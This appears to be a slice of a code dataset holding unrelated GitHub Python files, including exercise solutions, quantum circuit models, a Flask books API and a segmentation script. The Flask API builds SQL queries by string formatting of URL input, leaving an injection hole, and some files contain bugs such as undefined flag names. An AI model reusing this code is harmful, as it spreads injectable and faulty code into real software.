5\n print(solution([4, 1, 2, 1], 4)) # 2","repo_name":"KYUSEONGHAN/Development","sub_path":"하루에 한개씩 문제 풀기/Python/Programmers/모든 문제/Level 2/타겟 넘버.py","file_name":"타겟 넘버.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"30"} +{"seq_id":"31403523333","text":"import collections\n\nN=int(input())\n\nb=raw_input().split()\n\nl=[]\n\nif(max(b)=='0'):\n\n print('0')\n\nelse:\n for i in range(0,len(b)):\n\n\n s=max(b)\n\n l.append(s)\n\n b.remove(s)\n\nprint(''.join(str(x) for x in l))\n\n","repo_name":"Astha0710/GUVI-codes","sub_path":"2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"9115135598","text":"\"\"\"Script to spit out a table of colours to show the \"tilt\" light.\"\"\"\nfrom power import SolarLights\n\n\nif __name__ == '__main__':\n sl = SolarLights()\n data = {\n 'production': 0.00,\n 'consumption': 0.00,\n 'import': 0.00,\n 'export': None,\n 'direction': 'import',\n 'grid': 0.00\n }\n with open('pct_test.html', 'w') as fp:\n fp.write('\\n')\n fp.write('\\n')\n\n for i in range(1, 300, 10):\n fp.write('')\n\n data['production'] = i / 100.\n for j in range(1, 300, 10):\n data['consumption'] = j / 100.\n if data['production'] > data['consumption']:\n data['export'] = data['production'] - data['consumption']\n data['import'] = 0\n data['grid'] = data['export']\n data['direction'] = 'export'\n pct = data['grid'] / data['production']\n else:\n data['import'] = data['consumption'] - data['production']\n data['export'] = 0\n data['grid'] = data['import']\n data['direction'] = 'import'\n pct = data['grid'] / data['consumption']\n sl._data = data\n pixel = sl.get_tilt_pixels()[0]\n fp.write(\n f'\\n')\n\n fp.write('\\n')\n fp.write('
\\n'\n )\n fp.write(f' {round(pct, 2)}%\\n')\n fp.write('
')\n fp.write('')\n","repo_name":"stringfellow/solar-lights","sub_path":"test_pct_colours.py","file_name":"test_pct_colours.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"28961530495","text":"import pennylane as qml\nfrom pennylane import numpy as np\nimport itertools\nimport tables\nimport os\n\n\nvalid_Rs = [qml.RX, qml.RY, qml.RZ]\nvalid_CNOTs = ([0, 1], [0, 2], [1, 2])\n\nRs_space = list(itertools.product(valid_Rs, valid_Rs, valid_Rs))\nCNOTs_space = [[y for y in CNOTs if y is not None] for CNOTs in list(itertools.product(*([x, None] for x in valid_CNOTs)))]\nNAS_search_space = list(itertools.product(Rs_space, CNOTs_space))\n\n\ndef encode_layer(feature, j, n_qubits):\n '''\n encoder\n '''\n qml.Hadamard(wires=0)\n qml.Hadamard(wires=1)\n qml.Hadamard(wires=2)\n\n for i in range(n_qubits):\n qml.RY(feature[i], wires=i)\n \n phi = (np.pi - feature[0].val)*(np.pi - feature[1].val)*(np.pi - feature[2].val)\n # CRY 1\n qml.CRY(phi, wires=[0, 1])\n # CRY 2\n qml.CRY(phi, wires=[1, 2])\n\n\ndef layer(params, j, n_qubits):\n '''\n normal layer\n '''\n for i in range(n_qubits):\n qml.RY(params[j, i ], wires=i)\n qml.CNOT(wires=[0, 1])\n qml.CNOT(wires=[1, 2])\n\n\ndef qas_layer(params, j, n_qubits, Rs=[qml.RY, qml.RY, qml.RY], CNOTs=[[0, 1], [1, 2]], R_idx=None):\n for i in range(n_qubits):\n Rs[i](params[j, i], wires=i)\n for conn in CNOTs:\n qml.CNOT(wires=conn)\n\n\ndef circuit(feature, params, A=None, n_qubits=3, n_encode_layers=1, n_layers=3, arch=''):\n '''\n quantum circuit\n '''\n if arch == '':\n # normal circuit\n # repeatedly apply each layer in the circuit\n for j in range(n_encode_layers):\n encode_layer(feature, j, n_qubits)\n for j in range(n_layers):\n layer(params, j, n_qubits)\n return qml.expval(qml.Hermitian(A, wires=[0, 1, 2]))\n else:\n # nas circuit\n # repeatedly apply each layer in the circuit\n for j in range(n_encode_layers):\n encode_layer(feature, j, n_qubits)\n for j in range(n_layers):\n qas_layer(params, j, n_qubits, NAS_search_space[arch[j]][0], NAS_search_space[arch[j]][1])\n return qml.expval(qml.Hermitian(A, wires=[0, 1, 2]))\n\n\ndef circuit_decorator(dev, *args, **kwargs):\n return qml.qnode(dev)(circuit)(*args, **kwargs)\n\n\ndef circuit_search(feature, params, A=None, n_qubits=3, n_encode_layers=1, n_layers=3, arch=[]):\n '''\n quantum circuit\n '''\n # nas circuit\n # repeatedly apply each layer in the circuit\n for j in range(n_encode_layers):\n encode_layer(feature, j, n_qubits)\n for j in range(n_layers):\n qas_layer(params, j, n_qubits, NAS_search_space[arch[j]][0], \n NAS_search_space[arch[j]][1], R_idx=arch[j]//len(CNOTs_space))\n return qml.expval(qml.Hermitian(A, wires=[0, 1, 2]))\n\ndef circuit_search_decorator(dev, *args, **kwargs):\n return qml.qnode(dev)(circuit_search)(*args, **kwargs)\n\nclass CircuitModel():\n def __init__(self, dev, n_qubits=3, n_encode_layers=1, n_layers=3, arch=''):\n self.dev = dev\n self.n_qubits = n_qubits\n self.n_encode_layers = n_encode_layers\n self.n_layers = n_layers\n if arch != '':\n self.arch = [int(x) for x in arch.split('-')]\n assert len(self.arch) == n_layers\n print('----NAS circuit----')\n for i, idx in enumerate(self.arch):\n print('------layer {}-----'.format(i))\n print('Rs: {}'.format(NAS_search_space[idx][0]))\n print('CNOTs: {}'.format(NAS_search_space[idx][1]))\n else:\n self.arch = ''\n '''init params'''\n # randomly initialize parameters from a normal distribution\n self.params = np.random.uniform(0, np.pi * 2, (n_layers, n_qubits))\n self.A = np.kron(np.eye(4), np.array([[1, 0], [0, 0]]))\n\n def __call__(self, x):\n out = circuit_decorator(self.dev, x, self.params,\n A=self.A,\n n_qubits=self.n_qubits, n_encode_layers=self.n_encode_layers,\n n_layers=self.n_layers,\n arch=self.arch)\n return out\n\n\nclass CircuitSearchModel():\n def __init__(self, dev, n_qubits=3, n_encode_layers=1, n_layers=3, n_experts=5):\n self.dev = dev\n self.n_qubits = n_qubits\n self.n_encode_layers = n_encode_layers\n self.n_layers = n_layers\n self.n_experts = n_experts\n '''init params'''\n # randomly initialize parameters from a normal distribution\n # self.params_space = np.random.uniform(0, np.pi * 2, (n_experts, n_layers, len(Rs_space), n_qubits))\n self._init_params(n_experts, n_layers, len(Rs_space), n_qubits)\n self.params = None\n self.A = np.kron(np.eye(4), np.array([[1, 0], [0, 0]]))\n\n def __call__(self, x, arch: list):\n out = circuit_search_decorator(self.dev, x, self.params,\n A=self.A,\n n_qubits=self.n_qubits, n_encode_layers=self.n_encode_layers,\n n_layers=self.n_layers,\n arch=arch)\n return out\n\n def _init_params(self, n_experts, n_layers, len_Rs_space, n_qubits, h5_fp='./data/params.h5'):\n if os.path.exists(h5_fp):\n os.remove(h5_fp)\n h5file = tables.open_file(h5_fp, mode='a')\n group = h5file.create_group(\"/\", 'group', 'group')\n arr = h5file.create_earray(group, 'params', tables.Float32Atom(shape=(n_qubits)), (0,), 'params')\n self.params_space = arr\n for _ in range(n_experts * n_layers * len_Rs_space):\n self.params_space.append(np.random.uniform(0, np.pi * 2, (1, n_qubits)))\n \n\n def get_subnet_params(self, expert_idx, subnet):\n params = []\n for layer_idx, arch_idx in enumerate(subnet):\n R_idx = arch_idx // len(CNOTs_space)\n params_ = self.params_space[expert_idx * self.n_layers * len(Rs_space) + layer_idx * len(Rs_space) + R_idx]\n params.append(params_)\n params = np.vstack(params)\n return params\n\n\n def set_subnet_params(self, params, expert_idx, subnet):\n for layer_idx, arch_idx in enumerate(subnet):\n R_idx = arch_idx // len(CNOTs_space)\n self.params_space[expert_idx * self.n_layers * len(Rs_space) + layer_idx * len(Rs_space) + R_idx] = params[layer_idx]","repo_name":"yuxuan-du/Quantum_architecture_search","sub_path":"machine_learning_large_memory/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6309,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"30"} +{"seq_id":"32697978236","text":"from .DataProcess.signalProcess import Signal\nimport numpy as np \n\ndef computeSignalBounds(signal, steps):\n '''\n compute the bounds for the parameter space we want to learn. \n our current data is a csv that can be read into a 2d numpy array of\n first row: device name\n first column: time stamps\n other columns: dimension of a signal\n @param: a numpy array of the dataset\n @param: step limiter for simulated annealing, if total states from our bounds\n is less than specified steps, we simply look through all possible parameter\n assignments.\n @return: (time bounds, space bounds, whether we check all states instead of using SA\n for FLprim and SLprim)\n '''\n _, _, ndim = np.shape(signal.data)\n interval_bounds = np.zeros((ndim, 2))\n time_bounds = [signal.time[0], signal.time[-1]]\n check_all_states = [(False, False)] * ndim \n\n for j in range(ndim):\n sig = signal.getDimJ(j)\n interval_bounds[j, :] = [np.amin(sig), np.amax(sig)]\n #total number of space parameter is limited by the number of states in interval bounds\n total_space_possible = np.amax(sig) - np.amin(sig) + 1\n\n #total number of possible assignments of time parameter for first level primitive is n choose 2\n total_time_possible_FL = (time_bounds[1]-time_bounds[0] + 1) * (time_bounds[1]-time_bounds[0]) // 2\n #total number of possible assignments of time parameter for second level primitive can be upperbounded by n choose 2 * n/2\n total_time_possible_SL = ((time_bounds[1]-time_bounds[0] + 1) ** 2) * (time_bounds[1]-time_bounds[0]) // 4\n #prevent overflow\n possibleFL = total_space_possible < steps and total_time_possible_FL < steps \\\n and total_space_possible * total_time_possible_FL < steps \n #prevent overflow\n possibleSL = total_space_possible < steps and total_time_possible_SL < steps \\\n and total_space_possible * total_time_possible_SL < steps \n check_all_states[j] = (possibleFL, possibleSL)\n\n return (time_bounds, interval_bounds, check_all_states)","repo_name":"yifeiy3/STLTree","sub_path":"Model/computeSignalBounds.py","file_name":"computeSignalBounds.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"30"} +{"seq_id":"1716839439","text":"from dhos_services_api.helpers.patient_validator import PatientValidator\nfrom dhos_services_api.models.patient import Patient\n\n\nclass TestPatientValidator:\n def test_exists_by_details(self, patient: Patient) -> None:\n patient.dod = \"2020-08-21\"\n patient.save()\n patient_details = {\n \"dod\": \"2020-08-21\",\n \"dob\": patient.dob,\n \"first_name\": patient.first_name,\n \"last_name\": patient.last_name,\n }\n validator = PatientValidator(patient_details)\n assert validator.exists_by_details(\"GDM\") is False\n assert validator.exists_by_details(\"SEND\") is True\n","repo_name":"sensynehealth/polaris-services-api","sub_path":"tests/neo/helpers/test_patient_validator.py","file_name":"test_patient_validator.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"34260314019","text":"class Node:\r\n def __init__(self,value):\r\n self.value = value\r\n self.next = None\r\n#\r\n\r\nclass Queue:\r\n def __init__(self,value):\r\n newnode = Node(value)\r\n self.first = newnode\r\n self.last = newnode\r\n self.length = 1\r\n\r\n def print(self):\r\n temp = self.first\r\n while temp is not None:\r\n print(temp.value, end=\" \")\r\n temp = temp.next\r\n print()\r\n def enqueue(self,newval):\r\n new_node = Node(newval)\r\n if self.first is None:\r\n self.first = new_node\r\n self.last = new_node\r\n else:\r\n self.last.next = new_node\r\n self.last = new_node\r\n self.length += 1\r\n return True\r\n\r\n def dequeue(self):\r\n if self.first is None:\r\n return None\r\n temp = self.last\r\n if self.length == 1:\r\n self.first = None\r\n self.last = None\r\n else:\r\n self.first = self.first.next\r\n temp.next = None\r\n\r\n self.length -= 1\r\n return temp\r\n\r\n\r\nmy_quoue = Queue(4)\r\nmy_quoue.print()\r\nmy_quoue.enqueue(2)\r\nmy_quoue.print()\r\nmy_quoue.dequeue()\r\nmy_quoue.print()\r\nmy_quoue.dequeue()\r\nmy_quoue.print()\r\n\r\n\r\n","repo_name":"Kedar-P-Deshmukh/DSA","sub_path":"Queue.py","file_name":"Queue.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"72867149203","text":"'''\r\nDefinir una función inversa() que calcule la inversión de una cadena. Por ejemplo la cadena \"estoy probando\" \r\ndebería devolver la cadena \"odnaborp yotse\"\r\n'''\r\ndef inversa(texto):\r\n inverso=\"\"\r\n contador=0\r\n for a in range(1,len(texto)+1):\r\n inverso+=texto[-a]\r\n contador+=1\r\n if contador==len(texto):\r\n return inverso\r\n\r\n#print(inversa(\"Hola Mundo\"))","repo_name":"yimmyeman/Ejercicios-Python","sub_path":"ej_006.py","file_name":"ej_006.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"70314551766","text":"import os\nimport sys\nimport argparse\n\nsys.path.append(\"/home/siyich/byol-pytorch/evaluation_3d\")\nsys.path.append(\"/home/siyich/byol-pytorch/utils\")\n\n# sys.path.append(\"/home/siyich/byol-pytorch/byol_3d\")\n# from byol_3d import BYOL\n# from byolseq_3d import BYOL_SEQ\n# from pc_vic_3d import PC_VIC\n\nfrom knn_difference import *\n\nsys.path.append(\"/home/siyich/byol-pytorch/pcnet_3d\")\nfrom pcnet_vic import PCNET_VIC\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torchvision import models\nfrom torchvision import transforms as T\nimport torch.nn.functional as F\n\nfrom dataloader_v2 import get_data_ucf\nfrom torch.utils.data import DataLoader\n\nfrom torch.nn.parallel import DistributedDataParallel as DDP\nimport torch.distributed as dist\n\nimport logging\nimport matplotlib.pyplot as plt\n\nfrom augmentation import *\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--frame_root', default='/home/siyich/Datasets/Videos', type=str,\n help='root folder to store data like UCF101/..., better to put in servers SSD \\\n default path is mounted from data server for the home directory')\n# --frame_root /data\nparser.add_argument('--num_seq', default=2, type=int)\nparser.add_argument('--seq_len', default=8, type=int)\nparser.add_argument('--downsample', default=8, type=int)\nparser.add_argument('--inter_len', default=0, type=int) # does not need to be positive\n\nparser.add_argument('--gpu', default='1', type=str)\nparser.add_argument('--batch_size', default=1, type=int)\n\nparser.add_argument('--random', action='store_true')\nparser.add_argument('--kinetics', action='store_true')\n\nparser.add_argument('--ckpt_folder', default='', type=str)\nparser.add_argument('--epoch_num', default=100, type=int)\nparser.add_argument('--ckpt_path', default='', type=str)\n\nparser.add_argument('--byol', action='store_true')\nparser.add_argument('--log', action='store_true')\nparser.add_argument('--input_num', default=10000, type=int)\n\nparser.add_argument('--only_diff', action='store_true')\n\ndef test_transform():\n transform = transforms.Compose([\n RandomCrop(size=112, consistent=True),\n Scale(size=(112,112)),\n ToTensor(),\n Normalize()\n ])\n return transform\n\n\n \n\ndef main():\n torch.manual_seed(233)\n np.random.seed(233)\n\n global args\n args = parser.parse_args()\n\n ckpt_folder = args.ckpt_folder\n ckpt_path = args.ckpt_path\n\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = args.gpu\n global cuda\n cuda = torch.device('cuda')\n\n if not args.kinetics:\n resnet = models.video.r3d_18()\n # modify model\n # resnet.stem[0] = torch.nn.Conv3d(3, 64, kernel_size=3, stride=1, padding=1, bias=False)\n else:\n resnet = models.video.r3d_18(pretrained=True)\n # modify model\n # resnet.layer4[1].conv2[0] = torch.nn.Conv3d(512, 512, kernel_size=(3, 3, 3), stride=(1, 1, 1), padding=(1, 1, 1), bias=False)\n \n # resnet.maxpool = torch.nn.Identity()\n\n # if args.byol:\n # # model_select = BYOL\n # model_select = BYOL_SEQ\n # else:\n # model_select = PC_VIC\n\n model_select = PCNET_VIC\n\n model = model_select(\n resnet,\n clip_size = 8,\n image_size = 112,\n hidden_layer = 'avgpool',\n projection_size = 2048,\n projection_hidden_size = 4096,\n pred_hidden_size = 512,\n num_predictor = 1,\n pred_layer = 2,\n predictor = 1,\n proj_layer = 2,\n pred_bn_last = True\n )\n\n # model = model_select(\n # resnet,\n # clip_size = 8,\n # image_size = 112,\n # hidden_layer = 'avgpool',\n # projection_size = 256,\n # projection_hidden_size = 4096,\n # )\n\n model = nn.DataParallel(model)\n model = model.to(cuda)\n model.eval()\n\n\n logging.basicConfig(filename=os.path.join(ckpt_folder, 'ucf_knn_diff.log'), level=logging.INFO)\n logging.info('Started')\n if not args.random:\n logging.info(ckpt_path)\n\n train_loader = get_data_ucf(batch_size=args.batch_size, \n mode='train', \n # transform=test_transform(), \n # transform2=None,\n transform_consistent=test_transform(), \n transform_inconsistent=None,\n seq_len=args.seq_len, \n num_seq=args.num_seq, \n downsample=args.downsample,\n inter_len=args.inter_len,\n frame_root=args.frame_root,\n # num_aug=1,\n )\n test_loader = get_data_ucf(batch_size=args.batch_size, \n mode='val',\n # transform=test_transform(), \n # transform2=None,\n transform_consistent=test_transform(), \n transform_inconsistent=None,\n seq_len=args.seq_len, \n num_seq=args.num_seq, \n downsample=args.downsample,\n inter_len=args.inter_len,\n frame_root=args.frame_root,\n # num_aug=1,\n )\n\n # random weight\n if args.random:\n print(\"knn with random weight\")\n elif args.kinetics:\n print(\"knn with kinetics weight\")\n else:\n # after training\n print(\"knn with ssl\")\n model.load_state_dict(torch.load(ckpt_path)) # load model\n\n if args.byol:\n ssl_evaluator = KNN_Difference(model=model.module.online_encoder, device=cuda, input_num=args.input_num, only_diff=args.only_diff)\n else:\n ssl_evaluator = KNN_Difference(model=model.module.encoder, device=cuda, input_num=args.input_num, only_diff=args.only_diff)\n \n train_acc, val_acc = ssl_evaluator.fit(train_loader, test_loader)\n print(f\"k-nn accuracy k= {ssl_evaluator.k} for train split: {train_acc}\")\n print(f\"k-nn accuracy k= {ssl_evaluator.k} for val split: {val_acc} \\n\")\n print('-----------------')\n logging.info(f\"k-nn accuracy k= {ssl_evaluator.k} for train split: {train_acc}\")\n logging.info(f\"k-nn accuracy k= {ssl_evaluator.k} for val split: {val_acc} \\n\")\n logging.info('-----------------')\n\n\n\n\nif __name__ == '__main__':\n main()","repo_name":"ChicyChen/exp_torch_byol","sub_path":"experiments/eval/eval_knn_difference.py","file_name":"eval_knn_difference.py","file_ext":"py","file_size_in_byte":6503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"18168066903","text":"\n\nfrom operator import eq\nimport sqlite3\nfrom flask import Flask\nfrom flask import jsonify\nfrom flask import request\nfrom flask import json\n\napp = Flask(__name__)\n\ndef get_db_conn():\n conn = sqlite3.connect('database.db')\n conn.row_factory = sqlite3.Row\n return conn\n\n@app.route('/')\ndef hello():\n\treturn \"welcome to the flask app for books-By Tarun\"\n\t\n\t\n@app.route('/api/books',methods=['GET'])\ndef getAllBooks(): \n con = get_db_conn()\n cur = con.cursor()\n cur.execute('''SELECT * FROM books''')\n row_headers=[x[0] for x in cur.description] #this will extract row headers\n rv = cur.fetchall()\n json_data=[]\n for result in rv:\n json_data.append(dict(zip(row_headers,result)))\n return jsonify(json_data) \n \n\n@app.route('/api/books/',methods=['GET'])\ndef getEmp(bookId):\n con = get_db_conn()\n cur = con.cursor()\n cur.execute(\"SELECT * FROM books WHERE id = '%s'\" % bookId)\n row_headers=[x[0] for x in cur.description] #this will extract row headers\n rv = cur.fetchall()\n con.close\n json_data=[]\n for result in rv:\n json_data.append(dict(zip(row_headers,result)))\n return jsonify(json_data) \n\n@app.route('/api/books',methods=['POST'])\ndef createBook():\n \n a=request.json['id']\n b=request.json['author']\n c=request.json['title']\n con = get_db_conn()\n cur = con.cursor()\n cur.execute(\"insert into books (id, author, title) values (?, ?, ?)\", (a, b, c))\n con.commit()\n con.close\n return jsonify({'response':'Success', 'id' : a, 'title' : c, 'author': b })\n\n\n@app.route('/api/books/',methods=['PUT'])\ndef updateBook(bookId):\n a=request.json['id']\n b=request.json['author']\n c=request.json['title']\n\n con = get_db_conn()\n cur = con.cursor()\n rows = cur.execute(\"SELECT * FROM books WHERE id = '%s'\" % bookId).fetchall()\n print (len(rows))\n if len(rows) > 1 :\n return jsonify({'response':'More than 1 records found'})\n else : \n if len(rows) > 0:\n cur.execute(\"update books set author = ? , title = ? where id = '%s'\" %a, (b,c))\n con.commit()\n con.close\n return jsonify({'response':'Success', 'id' : a, 'author': b, 'title' : c}) \n else:\n return jsonify({'response':'No record found'}) \n\n \n@app.route('/api/books/',methods=['DELETE'])\ndef deleteEmp(bookId):\n con = get_db_conn()\n cur = con.cursor()\n rows = cur.execute(\"SELECT * FROM books WHERE id = '%s'\" % bookId).fetchall()\n print (len(rows))\n if len(rows) > 0 :\n cur.execute(\"DELETE FROM books WHERE id = '%s'\" % bookId)\n else :\n return jsonify({'response':'No record found'}) \n con.commit()\n con.close\n return jsonify({'response':'Success'})\n\nif __name__ == \"__main__\":\n\tapp.run(host ='0.0.0.0', port = 5000, debug = True)","repo_name":"singhTarunPal/bookService","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"36795552936","text":"# coding: utf-8\nimport tensorflow as tf\nfrom PIL import Image\nimport time\nimport os\nimport numpy as np\nimport cv2\n\ntf.app.flags.DEFINE_string(\"model\", \"frozen_inference_graph.pb\",\n \"The inference model graph.\")\n\ntf.app.flags.DEFINE_string(\"img\", \"a.jpg\",\n \"The input image file.\")\n\ntf.app.flags.DEFINE_string(\"out\", \"res.jpg\",\n \"The output image file.\")\n\nFLAGS = tf.app.flags.FLAGS\n\n\ncolormap = np.array([[0, 0, 0],\n [128, 0, 0]], dtype=np.uint8)\n\ndef main(_):\n\n # Get image's height and width.\n height = 0\n width = 0\n with open(FLAGS.image_file, 'rb') as img:\n with tf.Session().as_default() as sess:\n if FLAGS.image_file.lower().endswith('png'):\n image = sess.run(tf.image.decode_png(img.read()))\n else:\n image = sess.run(tf.image.decode_jpeg(img.read()))\n height = image.shape[0]\n width = image.shape[1]\n tf.logging.info('Image size: %dx%d' % (width, height))\n\n with tf.Graph().as_default(), tf.Session() as sess:\n with open(os.path.abspath(FLAGS.model_file), 'rb') as file_handle:\n graph_def = tf.GraphDef.FromString(file_handle.read())\n tf.import_graph_def(graph_def, name='')\n\n resize_ratio = 1.0 * 513 / max(width, height)\n target_size = (int(resize_ratio * width), int(resize_ratio * height))\n resized_image = cv2.resize(image, target_size, interpolation=cv2.INTER_LINEAR)\n\n # Generate and write image data to file.\n start_time = time.time()\n output = sess.run('SemanticPredictions:0',\n feed_dict={'ImageTensor:0' : np.expand_dims(resized_image, axis=0)})\n end_time = time.time()\n \n seg_map = cv2.resize(output[0], (width, height), interpolation=cv2.INTER_NEAREST)\n seg_image = colormap[seg_map]\n\n overlapping = cv2.addWeighted(image, 1.0, seg_image, 0.7, 0)\n overlapping = cv2.cvtColor(overlapping, cv2.COLOR_RGB2BGR)\n cv2.imwrite(FLAGS.out, overlapping)\n\n print(height, width, output.shape, output.dtype)\n\n tf.logging.info('Elapsed time: %fs' % (end_time - start_time))\n\n tf.logging.info('Done. Please check %s.' % FLAGS.out)\n\n\nif __name__ == '__main__':\n tf.logging.set_verbosity(tf.logging.INFO)\n tf.app.run()\n","repo_name":"pschang-phy/LIYS","sub_path":"Segmentation/bin/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"7917127954","text":"\"\"\"\nDefinition of ListNode\nclass ListNode(object):\n\n def __init__(self, val, next=None):\n self.val = val\n self.next = next\n\"\"\"\nimport heapq\nclass Solution:\n \"\"\"\n @param lists: a list of ListNode\n @return: The head of one sorted list.\n \"\"\"\n def mergeKLists(self, lists):\n # write your code here\n ## using heap\n # heap = []\n # for node in lists:\n # if node:\n # heap.append((node.val, node))\n \n # heapq.heapify(heap)\n # dummy = ListNode(0)\n # cur = dummy\n # while heap:\n # __, node = heapq.heappop(heap)\n # cur.next, cur = node, node\n # if node.next:\n # heapq.heappush(heap, (node.next.val, node.next))\n # return dummy.next\n \n ## using DC\n # def doMerge(lists, start, end):\n # if start > end:\n # return None\n # if start == end:\n # return lists[start]\n # mid = start + (end - start) / 2\n # list1 = doMerge(lists, start, mid)\n # list2 = doMerge(lists, mid + 1, end)\n \n # ## merge\n # dummy = ListNode(0)\n # cur = dummy\n # while list1 and list2:\n # if list1.val < list2.val:\n # cur.next, cur, list1 = list1, list1, list1.next\n # else:\n # cur.next, cur, list2 = list2, list2, list2.next\n # if list1:\n # cur.next = list1\n # if list2:\n # cur.next = list2\n \n # return dummy.next\n \n # if not lists:\n # return None\n # length = len(lists)\n # return doMerge(lists, 0, length - 1)\n \n ## using DC without Recursion\n if not lists:\n return None\n \n dummy = ListNode(0)\n listNode = lists[:]\n while len(listNode) > 1:\n length = len(listNode)\n while length > 1:\n list1, list2 = listNode.pop(0), listNode.pop(0)\n length -= 2\n cur = dummy\n \n while list1 and list2:\n if list1.val < list2.val:\n cur.next, cur, list1 = list1, list1, list1.next\n else:\n cur.next, cur, list2 = list2, list2, list2.next\n if list1:\n cur.next = list1\n if list2:\n cur.next = list2\n listNode.append(dummy.next)\n # dummy.next = None\n # if length == 1:\n # listNode.append(listNode.pop(0))\n return listNode[0]","repo_name":"jke-zq/my_lintcode","sub_path":"Merge k Sorted Lists.py","file_name":"Merge k Sorted Lists.py","file_ext":"py","file_size_in_byte":2820,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"30"} +{"seq_id":"15429526014","text":"#-------------------------------------------------------------------------------\n# Name: ora_economics_model.py\n# Purpose: functions for economics model\n# Author: David McBey\n# Created: 23/07/2020\n# Licence: \n# defs:\n# test_economics_algorithms\n#\n# Description:\n#\n#-------------------------------------------------------------------------------\n#!/usr/bin/env python\n\n__prog__ = 'ora_economics_model.py'\n__version__ = '0.0.0'\n\n# Version history\n# ---------------\n#\nfrom os.path import isfile, normpath, join\nfrom shutil import copyfile\nimport numpy\nfrom scipy.stats import norm\n\nfrom ora_excel_read import read_econ_purch_sales_sheet, read_econ_labour_sheet\n\nFNAME_ECONOMICS = 'PurchasesSalesLabour.xlsx'\nWARN_STR = '*** Warning *** '\n\n#----------------------------------------------------------\n# Create class to store instances of family members, in order to work out labour\n\nclass HouseholdMembers:\n\n '''\n Class to store information on household members and their labour contribution\n '''\n\n def __init__(self, name, labour_data):\n\n labour_data = labour_data\n self.name = name\n self.number = labour_data[0]\n self.awake = labour_data[1]\n self.awake_year = self.awake * 365\n\n # Information on wood\n self.wood_bundle_weight = labour_data[3]\n self. time_collect_1_wood_bundle = labour_data[4]\n self.number_weekly_wood_trips = labour_data[6]\n self.per_wood_trip_time_spent_travelling = labour_data[8]\n self.per_wood_trip_time_spent_collecting = labour_data[9]\n\n # Information on water\n self.weekly_trips_water_collect_non_irrigation = labour_data[12]\n self.volume_water_carried_per_trip = labour_data[14]\n self.normal_year_time_travel_water_per_trip = labour_data[16]\n self.normal_year_time_queue_water_per_trip = labour_data[17]\n self.drought_year_time_travel_water_per_trip = labour_data[19]\n self.drought_year_time_queue_water_per_trip = labour_data[20]\n\n # Information on livestock\n self.daily_time_spent_tending_animals = labour_data[23]\n self.daily_time_dung_management = labour_data[24]\n\n # Information on crop production\n self.total_days_sowing_crops = labour_data[27]\n self.daily_average_time_sowing_crops = labour_data[29]\n self.grow_seas_total_time_tending_crops = labour_data[32]\n self.harvest_total_days_harvesting = labour_data[34]\n self.harvest_average_day_hrs_spent_harvesting = labour_data[36]\n\n # Information on other activities\n self.grow_seas_essential_activities_hrs_day = labour_data[40]\n self.grow_seas_non_essential_activities_hrs_day = labour_data[41]\n\n # Information on wage rates\n self.wage_month = labour_data[43]\n self.wage_year = self.wage_month * 12\n # Assume work 365 days per year\n self.wage_day = self.wage_year / 365\n # Assume work 12 hrs day\n self.wage_hour = self.wage_day / 14\n\n # Calculation for total labour value\n self.value_of_labour_year = self.awake_year * self.wage_hour\n\n\n\n def agricultural_labour_calc(self):\n '''\n Function to calculate time spent on agricultural labour, including dung collection\n '''\n\n # In excel sheet this says 'typical weather' - what does this mean? drought years need to be considered?\n livestock_time = self.daily_time_spent_tending_animals + self.daily_time_dung_management\n self.livestock_time_annual = livestock_time * 365\n\n # How to differentriate sowing time from growing season from harvest time? Attatch to form object for calcs\n self.sowing_time_year = self.total_days_sowing_crops * self.daily_average_time_sowing_crops\n\n # Create 'growing_season variable - how? IMPORT FROM CROP MODULE\n grow_season_days_total = 200\n self.tending_crops_time = self.grow_seas_total_time_tending_crops * grow_season_days_total\n\n self.harvest_crops_year = self.harvest_total_days_harvesting * self.harvest_average_day_hrs_spent_harvesting\n # Total hours spent annually\n self.total_agriculture_labour_yearly = self.livestock_time_annual + self.sowing_time_year + \\\n self.tending_crops_time\n self.total_ag_labour_year_value = self.total_agriculture_labour_yearly * self.wage_hour\n\n return self.total_ag_labour_year_value\n \n def domestic_labour_calc(self):\n '''\n Function to calculate time spent on household labour (collecting water, firewood, cooking)\n '''\n wood_collection_weekly = self.number_weekly_wood_trips * \\\n (self.per_wood_trip_time_spent_travelling + self.per_wood_trip_time_spent_collecting)\n self.year_wood_collect = wood_collection_weekly * 52\n water_collection_weekly_normal = self.weekly_trips_water_collect_non_irrigation * \\\n (self.normal_year_time_travel_water_per_trip +\n self.normal_year_time_queue_water_per_trip)\n self.water_collection_yearly_normal = water_collection_weekly_normal * 52\n water_collection_weekly_drought = self.weekly_trips_water_collect_non_irrigation * \\\n (self.drought_year_time_travel_water_per_trip +\n self.drought_year_time_queue_water_per_trip)\n self.water_collection_yearly_drought = water_collection_weekly_drought * 52\n\n # Currently doing this calc for 365 days, but how to do for only grow season?\n self.essential_activities_year = 